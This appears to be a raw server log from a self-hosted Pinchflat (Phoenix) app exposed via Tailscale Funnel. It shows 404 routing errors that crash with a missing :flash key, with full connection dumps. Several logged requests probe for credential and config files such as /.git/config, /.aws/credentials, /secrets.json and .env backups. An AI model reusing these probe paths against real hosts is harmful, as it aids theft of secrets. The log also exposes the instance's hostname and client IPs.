~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e006ce1a71f5-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "gxad8aa7ab48284s.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "sec-ch-ua" => "\"Google Chrome\";v=\"135\", \"Chromium\";v=\"135\", \"Not.A/Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "tailscale-funnel-request" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36", "x-forwarded-for" => "108.162.238.108", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 5, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap_index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap_index.xml", host: "pinch (truncated) 02:30:18.016 [info] GET /sitemap-index.xml 02:30:18.017 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=1291.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:18.017 [debug] QUERY OK source="settings" db=0.0ms idle=1292.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:18.017 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:18.017 [error] #PID<0.3590.0> running PinchflatWeb.Endpoint (connection #PID<0.3584.0>, stream id 6) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /sitemap-index.xml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap-index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e01629e078ee-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xacl08790ef2vxfh.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3590.0>, params: %{}, path_info: ["sitemap-index"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"cdn-loop", "cloudflare; loops=1"}, {"cf-ew-via", "15"}, {"cf-ray", "a200e01629e078ee-ATL"}, {"cf-visitor", "{\"scheme\":\"https\"}"}, {"cf-worker", "xacl08790ef2vxfh.workers.dev"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15"}, {"x-forwarded-for", "104.22.1.49"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/sitemap-index.xml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmAid78uoX0oMAAUYB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e01629e078ee-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xacl08790ef2vxfh.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 6, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sitemap-index (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3584.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sitemap-index.xml", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 60324}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "cdn-loop" => "cloudflare; loops=1", "cf-ew-via" => "15", "cf-ray" => "a200e01629e078ee-ATL", "cf-visitor" => "{\"scheme\":\"https\"}", "cf-worker" => "xacl08790ef2vxfh.workers.dev", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15", "x-forwarded-for" => "104.22.1.49", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", (truncated) 02:30:18.024 [info] {"source":"oban","duration":577,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:23.659 [info] HEAD /.git/config 02:30:23.660 [debug] QUERY OK source="settings" db=0.2ms idle=1934.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.660 [debug] QUERY OK source="settings" db=0.0ms idle=1935.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.660 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.660 [error] #PID<0.3592.0> running PinchflatWeb.Endpoint (connection #PID<0.3591.0>, stream id 1) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /.git/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3592.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.git/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3fY_U75jnMAAUZB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.git/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.git/config", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3592.0>, params: %{}, path_info: [".git", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, (truncated) 02:30:23.662 [info] HEAD /secrets.json 02:30:23.662 [debug] QUERY OK source="settings" db=0.1ms idle=1678.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.662 [debug] QUERY OK source="settings" db=0.1ms idle=938.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.663 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.663 [error] #PID<0.3593.0> running PinchflatWeb.Endpoint (connection #PID<0.3591.0>, stream id 2) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: HEAD /secrets.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3593.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"referer", "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)"}, {"x-forwarded-for", "34.139.141.56"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/secrets.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUmA3gCu6_ZdGQAAUaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /secrets (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3591.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/secrets.json", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 41286}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-language" => "en-US,en;q=0.9", "host" => "pinchflat.tail3db17d.ts.net", "referer" => "https://www.google.com/search?q=pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; ChatGPT-User/1.0; +https://openai.com/bot)", "x-forwarded-for" => "34.139.141.56", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "HEAD", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 2, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3593.0>, params: %{}, path_info: ["secrets"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept", (truncated) 02:30:23.675 [info] HEAD /.env.test 02:30:23.676 [info] HEAD /wp-config.php.bak 02:30:23.676 [info] HEAD /.aws/credentials 02:30:23.676 [debug] QUERY OK source="settings" db=0.6ms idle=690.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.676 [info] HEAD /.dev.vars 02:30:23.676 [info] HEAD /.env.backup 02:30:23.676 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=15.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.677 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=16.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.677 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=14.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.677 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:30:23.678 [debug] QUERY OK source="settings" db=0.9ms queue=0.1ms idle=14.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] QUERY OK source="settings" db=1.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] QUERY OK source="settings" db=1.0ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:30:23.678 [debug] QUERY OK source="settings" db=0.2ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", 